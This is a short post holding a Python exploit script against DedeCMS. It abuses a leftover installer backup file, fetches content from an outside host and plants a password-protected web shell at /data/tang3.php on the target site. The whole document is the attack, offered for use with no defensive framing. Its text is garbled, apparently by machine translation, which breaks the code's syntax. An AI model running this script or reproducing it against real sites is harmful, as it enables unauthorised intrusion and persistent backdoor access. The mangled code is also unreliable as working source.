Dedecms remote code execution using scripts
#! /Usr/bin/env python # coding = UTF-8 # Joseph (continued) import requestsimport sysimport redef main (): try: url = "http: //" + sys. argv [1]. strip ('HTTP: // ') failed t IndexError: print ''' poc: dede. py http://www.baidu.com/ '''Payload = "/install/index. php. bak? Step = 11 & insLockfile = a & s_lang = a & install_demo_name = .. /data/admin/config_update.php "urlpoc = url + payload code = requests. get (urlpoc ). status_code if code = 200: print u "congratulations, this vulnerability exists." print u "Ongoing attacks --- >>>>" exploit (url) pass else: print u "sorry vulnerability struggling" passdef exploit (url): urlpoc = url + "/install/index. php. bak? Step = 11 & insLockfile = a & s_lang = a & install_demo_name = ../data/tang3.php & updateHost = http://www.mrjking.com/ "Htmlcontent = requests. get (urlpoc ). content Probe = re. compile (R' exist') if Probe. findall (htmlcontent): print u''' ver: getshell success shell: url +/data/tang3.php? A = 0 password: c '''pass else: print u "check whether the remote address is unavailable" passif _ name _ = '_ main _': main ()